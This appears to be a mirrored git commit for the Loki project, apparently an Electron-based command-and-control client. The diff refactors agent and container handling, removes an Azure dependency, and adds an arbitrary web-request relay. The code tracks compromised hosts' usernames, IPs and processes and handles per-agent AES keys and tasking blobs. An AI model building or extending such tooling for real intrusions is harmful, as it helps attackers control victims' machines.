1
0
mirror of https://github.com/boku7/Loki synced 2026-06-06 15:24:27 +00:00

updated client to not need the azure module dependency

This commit is contained in:
Bobby Cooke
2025-04-16 10:12:09 -07:00
parent 6167937e04
commit 165da48119
7 changed files with 1047 additions and 1312 deletions
+530 -637
View File
File diff suppressed because it is too large Load Diff
-36
View File
@@ -1,36 +0,0 @@
class Container
{
constructor(name, key = {}, blobs = {})
{
this.name = null || name;
this.key = {} || key;
this.blobs = {} || blobs;
}
setName(name) {
this.name = name;
}
setKey(key) {
this.key = {
'key' : key.key,
'iv' : key.iv
};
}
}
class Agent
{
constructor(agentId, containerObject)
{
this.agentid = null || agentId;
this.container = null || containerObject;
this.BrowserWindow = null;
}
}
module.exports = {
Container,
Agent
};
+375 -546
View File
File diff suppressed because it is too large Load Diff
+72 -29
View File
@@ -4,13 +4,11 @@ const path = require('path');
const { log } = require('console');
const { getAppDataDir } = require('./common');
const directories = getAppDataDir();
const logFile = path.join(directories.downloadsDir, 'dashboard.js.log');
let tableinit = false;
function logMain(message)
function log(message)
{
const timestamp = new Date().toISOString();
//fs.appendFileSync(logFile, `[${timestamp}] ${message}\n`);
log(`[${timestamp}] ${message}`);
}
@@ -54,7 +52,7 @@ window.addEventListener('DOMContentLoaded', () => {
sortState.column = column;
sortState.order = 'asc';
}
logMain(`${sortState['column']} column sort set to ${sortState['order']}`);
log(`${sortState['column']} column sort set to ${sortState['order']}`);
updateTableSort();
});
});
@@ -116,7 +114,7 @@ window.addEventListener('DOMContentLoaded', async () => {
sortState.column = column;
sortState.order = 'asc';
}
logMain(`${sortState['column']} column sort set to ${sortState['order']}`);
log(`${sortState['column']} column sort set to ${sortState['order']}`);
updateTableSort();
});
@@ -132,7 +130,7 @@ window.addEventListener('DOMContentLoaded', async () => {
async function initTable() {
try {
//logMain("sent IPC for get-containers");
//log("sent IPC for get-containers");
let agentinit = null;
while(agentinit == null)
{
@@ -155,9 +153,9 @@ window.addEventListener('DOMContentLoaded', async () => {
thisrow.cells[7].textContent = '';
thisrow.cells[8].textContent = '';
});
//logMain('Table updated with init agent data');
//log('Table updated with init agent data');
} catch (error) {
logMain(`Error in index.js initTable() updating table: ${error} ${error.stack}`);
log(`Error in index.js initTable() updating table: ${error} ${error.stack}`);
}
}
@@ -168,8 +166,8 @@ window.addEventListener('DOMContentLoaded', async () => {
//log(`updateTable() : agentcheckins : ${agentcheckins}`);
const table = document.getElementById('containerTable'); // Ensure this matches your table ID
//logMain(`table : ${table.innerText}`);
//logMain(`agentcheckins : ${agentcheckins}`);
//log(`table : ${table.innerText}`);
//log(`agentcheckins : ${agentcheckins}`);
if (agentcheckins == 0) {
//log(`updateTable() : agentcheckins == 0; agentcheckins : ${agentcheckins}`);
@@ -178,7 +176,7 @@ window.addEventListener('DOMContentLoaded', async () => {
// table.deleteRow(1);
// }
//logMain("Table cleared since there are no agents present.");
//log("Table cleared since there are no agents present.");
} else {
//log(`updateTable() : agentcheckins != 0; agentcheckins : ${agentcheckins}`);
const agents = JSON.parse(agentcheckins);
@@ -189,7 +187,7 @@ window.addEventListener('DOMContentLoaded', async () => {
// }
let agent_index = 0;
agents.forEach(agent => {
//logMain(`agent ${agent_index}: ${JSON.stringify(agent)}`);
//log(`agent ${agent_index}: ${JSON.stringify(agent)}`);
agent_index++;
if (agent != 0)
{
@@ -197,13 +195,13 @@ window.addEventListener('DOMContentLoaded', async () => {
let isnewrow = false;
if (thisrow.cells[2].textContent == '-' || !thisrow.cells[0].textContent) {
//logMain("this is a new row.");
//log("this is a new row.");
isnewrow = true;
}
// Get the process base name from absolute path
const filePath = agent.Process.trim(); // Ensure the string is clean
//logMain(`Original Path: ${filePath}`);
//log(`Original Path: ${filePath}`);
let fileName;
// Detect which type of path is present and use the appropriate method
if (filePath.includes("\\") && !filePath.includes("/")) {
@@ -216,7 +214,7 @@ window.addEventListener('DOMContentLoaded', async () => {
// Mixed slashes case (or unknown)
fileName = filePath.split(/[/\\]/).pop(); // Manually extract filename
}
//logMain(`Extracted File Name: ${fileName}`);
//log(`Extracted File Name: ${fileName}`);
let platformName = agent.platform; // Default to the original value
if (agent.platform === "darwin") {
@@ -227,7 +225,7 @@ window.addEventListener('DOMContentLoaded', async () => {
platformName = "Linux";
}
thisrow.cells[0].textContent = agent.agentid;
thisrow.cells[1].textContent = agent.containerid;
thisrow.cells[1].textContent = agent.container;
thisrow.cells[2].textContent = agent.hostname;
thisrow.cells[3].textContent = agent.username;
thisrow.cells[4].textContent = fileName;
@@ -235,7 +233,7 @@ window.addEventListener('DOMContentLoaded', async () => {
thisrow.cells[6].textContent = agent.IP;
thisrow.cells[7].textContent = agent.arch;
thisrow.cells[8].textContent = platformName; // Set formatted platform name
thisrow.cells[9].textContent = timeDifference(agent.checkIn);
thisrow.cells[9].textContent = timeDifference(agent.checkin);
// if (isnewrow) {
// thisrow.addEventListener('click', () => {
@@ -244,10 +242,10 @@ window.addEventListener('DOMContentLoaded', async () => {
thisrow.replaceWith(thisrow.cloneNode(true)); // Remove previous listeners
//thisrow = document.querySelector("#yourRowId"); // Re-select the element
let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
//logMain(`Attempting to find match in table for agent ${agent.agentid}`);
//log(`Attempting to find match in table for agent ${agent.agentid}`);
for (let row of table.rows) {
//logMain(`row.cells[0].textContent ${row.cells[0].textContent} =? ${agent.agentid}`);
//log(`row.cells[0].textContent ${row.cells[0].textContent} =? ${agent.agentid}`);
if (row.cells[0].textContent == agent.agentid) {
thisrow = row;
break;
@@ -256,7 +254,7 @@ window.addEventListener('DOMContentLoaded', async () => {
thisrow.addEventListener('click', () => {
console.log("Row clicked!"); // Debugging: Check if it logs multiple times
ipcRenderer.send('open-container-window', JSON.stringify(agent));
ipcRenderer.send('open-container-window', agent.agentid);
}, { once: true }); // Ensures it only triggers once per element
@@ -267,7 +265,7 @@ window.addEventListener('DOMContentLoaded', async () => {
tableinit = true;
}
}catch (error) {
logMain(`Error in index.js updateTable() updating table: ${error} ${error.stack}`);
log(`Error in index.js updateTable() updating table: ${error} ${error.stack}`);
}
}
@@ -277,20 +275,20 @@ window.addEventListener('DOMContentLoaded', async () => {
let rowExists = false;
let thisRow;
let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
//logMain(`Attempting to find match in table for agent ${agent.agentid}`);
//log(`Attempting to find match in table for agent ${agent.agentid}`);
for (let row of table.rows) {
//logMain(`row.cells[0].textContent ${row.cells[0].textContent} =? ${agent.agentid}`);
//log(`row.cells[0].textContent ${row.cells[0].textContent} =? ${agent.agentid}`);
if (row.cells[0].textContent == agent.agentid) {
thisRow = row;
rowExists = true;
//logMain(`Matched row for agent ${agent.agentid}`);
//log(`Matched row for agent ${agent.agentid}`);
break;
}
}
if(!rowExists)
{
//logMain(`Failed to match row for agent ${agent.agentid}`);
//log(`Failed to match row for agent ${agent.agentid}`);
thisRow = table.insertRow();
thisRow.insertCell(0);
thisRow.insertCell(1);
@@ -306,7 +304,7 @@ window.addEventListener('DOMContentLoaded', async () => {
return thisRow;
}catch(error)
{
logMain(`Error in updateOrAddRow() : ${error} ${error.stack}`);
log(`Error in updateOrAddRow() : ${error} ${error.stack}`);
}
}
@@ -347,17 +345,62 @@ window.addEventListener('DOMContentLoaded', async () => {
await updateTable();
// Update the table every second
setInterval(updateTable, 3000);
setInterval(updateTable, 2000);
});
ipcRenderer.on('remove-table-row', (event, agentId) => {
logMain(`Removing row for agent ID: ${agentId}`);
log(`Removing row for agent ID: ${agentId}`);
let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
for (let row of table.rows) {
if (row.cells[0].textContent.trim() === agentId.trim()) {
row.remove(); // Remove the row from the table
logMain(`Row for agent ${agentId} removed.`);
log(`Row for agent ${agentId} removed.`);
break;
}
}
});
ipcRenderer.on('make-web-request', async (event, requestOptions) => {
try {
const { url, method = 'GET', headers = {}, body, requestId } = requestOptions;
const defaultHeaders = {
'Cache-Control': 'no-cache, no-store, must-revalidate',
'Pragma': 'no-cache',
'Expires': '0'
};
const fetchOptions = {
method,
headers: { ...defaultHeaders, ...headers }
};
if (body !== undefined) {
fetchOptions.body = body;
}
const response = await fetch(url, fetchOptions);
let data = "";
const contentType = response.headers.get('content-type');
if (contentType && (
contentType.includes('application/octet-stream') ||
contentType.includes('application/x-binary') ||
contentType.includes('application/x-msdownload') ||
contentType.includes('application/zip') ||
contentType.includes('application/pdf') ||
contentType.includes('image/') ||
contentType.includes('video/') ||
contentType.includes('audio/')
)) {
const arrayBuffer = await response.arrayBuffer();
data = Buffer.from(arrayBuffer);
} else {
data = await response.text();
}
ipcRenderer.send(`web-request-response-${requestId}`, {
status: response.status,
headers: Object.fromEntries(response.headers.entries()),
data: data
});
} catch (error) {
ipcRenderer.send(`web-request-response-${requestId}`, {
error: error.message
});
}
});
+2 -2
View File
@@ -285,8 +285,8 @@ ipcRenderer.on('command-output', (event, output) => {
if (!output.endsWith("/")) {
output += "/";
}
//document.getElementById("dirPath").value = output;
document.getElementById("dirPath").value = "C:/";
document.getElementById("dirPath").value = output;
//document.getElementById("dirPath").value = "C:/";
pwd = output;
listFiles();
}
+68 -58
View File
@@ -2,19 +2,51 @@ const { app, BrowserWindow, ipcMain, Menu, clipboard, shell, dialog } = require(
const fs = require('fs');
const path = require('path');
const az = require('./azure');
const {Agent,Container} = require('./agent');
const { getAppDataDir } = require('./common');
const directories = getAppDataDir();
let config = require(directories.configFilePath);
global.config = require(directories.configFilePath);
const agents = [];
let metaContainer = config.metaContainer;
let win;
global.agentids = [];
global.agentwindows = 0;
global.agentWindowHandles = {}; // Store windows by agentID
global.dashboardWindow = null;
global.agents = [];
class Container
{
constructor(name, key = {}, blobs = {})
{
this.name = null || name;
this.key = {} || key;
this.blobs = {} || blobs;
}
setName(name) {
this.name = name;
}
setKey(key) {
this.key = {
'key' : key.key,
'iv' : key.iv
};
}
}
class Agent
{
constructor(agentId, containerObject)
{
this.agentid = null || agentId;
this.container = null || containerObject;
this.BrowserWindow = null;
}
}
function createDashboardWindow() {
win = new BrowserWindow({
global.dashboardWindow = new BrowserWindow({
width: 1792,
height: 1037,
webPreferences: {
@@ -23,15 +55,14 @@ function createDashboardWindow() {
nodeIntegration: true, // Enable Node.js integration in the renderer process
},
});
win.loadFile('dashboard.html');
global.dashboardWindow.loadFile('dashboard.html');
console.log('Main window created');
}
async function createContainerWindow(thisagent) {
let this_agent = JSON.parse(thisagent);
async function createContainerWindow(thisagentid) {
let exists = false;
for (let i = 0; i < agents.length; i++) {
if (agents[i].agentid === this_agent.agentid)
if (agents[i].agentid === thisagentid)
{
console.log(`agent with agentid ${this_agent.agentid} already exists in agents[${i}]`);
exists = true;
@@ -48,40 +79,33 @@ async function createContainerWindow(thisagent) {
nodeIntegration: true, // Enable Node.js integration in the renderer process
},
});
const container_blobs = await az.getContainerBlobs(this_agent.containerid,config);
console.log(`${this_agent.containerid} container key blob : ${container_blobs['key']}`);
const container_key = await az.getContainerAesKeys(this_agent.containerid,container_blobs['key'],config);
let containerObject = new Container(this_agent.containerid,container_key,container_blobs);
let agent = new Agent(this_agent.agentid,containerObject);
let thisAgent = global.agents.find(agent => agent.agentid === thisagentid);
let containerObject = new Container(thisAgent.container,thisAgent.aes,thisAgent.blobs);
let agent = new Agent(thisAgent.agentid,containerObject);
agent.BrowserWindow = containerWin;
agents.push(agent);
global.agentWindowHandles[this_agent.agentid] = containerWin;
global.agentWindowHandles[thisAgent.agentid] = containerWin;
agent.container.blobs['key'] = container_blobs['key'];
agent.container.blobs['checkin'] = container_blobs['checkin'];
agent.container.blobs['in'] = container_blobs['in'];
agent.container.blobs['out'] = container_blobs['out'];
agent.container.blobs['key'] = thisAgent.blobs['key'];
agent.container.blobs['checkin'] = thisAgent.blobs['checkin'];
agent.container.blobs['in'] = thisAgent.blobs['in'];
agent.container.blobs['out'] = thisAgent.blobs['out'];
for (const key in agent.container.blobs) {
if (agent.container.blobs.hasOwnProperty(key)) {
console.log(`${key}: ${agent.container.blobs[key]}`);
}
}
agent.container.key['key'] = container_key['key'];
agent.container.key['iv'] = container_key['iv'];
agent.container.key['key'] = thisAgent.aes['key'];
agent.container.key['iv'] = thisAgent.aes['iv'];
let checkinData = await az.checkinContainer(agent.container.name, agent.container.key, agent.container.blobs,config);
let agentObj = JSON.parse(checkinData);
agentObj.agentid = agent.agentid;
agentObj.containerid = agent.container.name;
agentObj.key = agent.container.key['key'];
agentObj.iv = agent.container.key['iv'];
let startupdata = JSON.stringify(agentObj);
let startupdata = JSON.stringify(thisAgent);
global.agentwindows++;
containerWin.loadFile('agent-window.html').then(() => {
containerWin.webContents.send('container-data', agent.container.name, agent.container.key, agent.container.blobs,startupdata);
});
console.log(`Container window created for container: ${this_agent.containerid}`);
console.log(`Container window created for container: ${thisAgent.container}`);
console.log(`Number of agent windows : ${global.agentwindows}`);
containerWin.on('close', async (event) => {
@@ -107,11 +131,6 @@ async function createContainerWindow(thisagent) {
console.log(`${agentid} removed from the array.`);
global.agentids.pop(agentid);
}
// global.agentwindows = 0;
// global.agentids.length = 0;
// agents.length = 0;
//console.log(`IPC force-close : agentid : ${agentid}`);
//containerWin.destroy(); // Force close after confirmation
const agentWindow = global.agentWindowHandles[agentid];
if (agentWindow) {
agentWindow.destroy(); // Force close after confirmation
@@ -134,7 +153,7 @@ async function createExplorerWindow(thisagent) {
webPreferences: {
contextIsolation: false,
enableRemoteModule: true,
nodeIntegration: true, // Enable Node.js integration in the renderer process
nodeIntegration: true,
},
});
console.log(`Agent Data : ${JSON.stringify(this_agent)}`);
@@ -167,9 +186,6 @@ async function createExplorerWindow(thisagent) {
ExplorerWin.loadFile('explorer.html').then(() => {
ExplorerWin.webContents.send('container-data', agent.container.name, agent.container.key, agent.container.blobs,startupdata);
});
// console.log(`Container window created for container: ${this_agent.containerid}`);
// console.log(`Number of agent windows : ${global.agentwindows}`);
ExplorerWin.on('close', async (event) => {
});
}
@@ -302,43 +318,38 @@ ipcMain.handle('preload-agents', async () => {
// Fetch container data and send it to the renderer process
ipcMain.handle('get-containers', async () => {
let blobs = await az.listBlobsInContainer(metaContainer,config);
let blobs = await az.updateDashboardTable(metaContainer,config);
//console.log(`IPC get-containers : agent checkin blobs : ${blobs}`);
return blobs;
});
ipcMain.handle('get-agent-checkin', async (event, agentid) => {
let agentcheckin = await az.returnAgentCheckinInfo(metaContainer,agentid,config);
return agentcheckin;
let thisAgent = global.agents.find(agent => agent.agentid === agentid);
let agentCheckin = await az.returnAgentCheckinInfo(thisAgent.container,thisAgent.blobs['in']);
thisAgent.checkin = agentCheckin;
return JSON.stringify(thisAgent);
});
ipcMain.on('open-container-window', async (event, thisagent) => {
console.log(`IPC Open Container Window : ${thisagent}`);
ipcMain.on('open-container-window', async (event, thisagentid) => {
console.log(`IPC Open Container Window : ${thisagentid}`);
let this_agent = JSON.parse(thisagent);
// let this_agent = JSON.parse(thisagent);
let window_exists = false;
if (global.agentwindows === 0)
{
global.agentids.length = 0;
}
console.log(`agentids[] : ${global.agentids}`);
if (!global.agentids.includes(this_agent.agentid)) {
global.agentids.push(this_agent.agentid);
console.log(`${this_agent.agentid} added to the array.`);
console.log(`agentids[] : ${thisagentid}`);
if (!global.agentids.includes(thisagentid)) {
global.agentids.push(thisagentid);
console.log(`${thisagentid} added to the array.`);
} else {
console.log(`${this_agent.agentid} already exists.`);
console.log(`${thisagentid} already exists.`);
window_exists = true;
}
// console.log(`agentwindows : ${agentwindows}`);
//console.log(`agents : ${JSON.stringify(agents)}`);
// for (let i = 0; i < global.agentwindows; i++) {
// console.log(`agent[${i}] : ${JSON.stringify(agents[i])}`);
// console.log(`agent[${i}].agentid : ${agents[i].agentid}`);
// console.log(`this_agent.agentid : ${this_agent.agentid}`);
const agentWindow = global.agentWindowHandles[this_agent.agentid];
if (global.agentWindowHandles[this_agent.agentid] !== undefined)
const agentWindow = global.agentWindowHandles[thisagentid];
if (global.agentWindowHandles[thisagentid] !== undefined)
{
window_exists = true;
console.log(`window exists`);
@@ -351,8 +362,7 @@ ipcMain.on('open-container-window', async (event, thisagent) => {
// }
if (window_exists == false)
{
console.log(`Opening container window for container: ${this_agent.containerid}`);
setTimeout(() => { createContainerWindow(thisagent) }, 1000); // Simulate some delay before closing
setTimeout(() => { createContainerWindow(thisagentid) }, 1000); // Simulate some delay before closing
}
});
-4
View File
@@ -52,9 +52,5 @@
"AppImage"
]
}
},
"dependencies": {
"@azure/storage-blob": "^12.23.0",
"https-proxy-agent": "^7.0.4"
}
}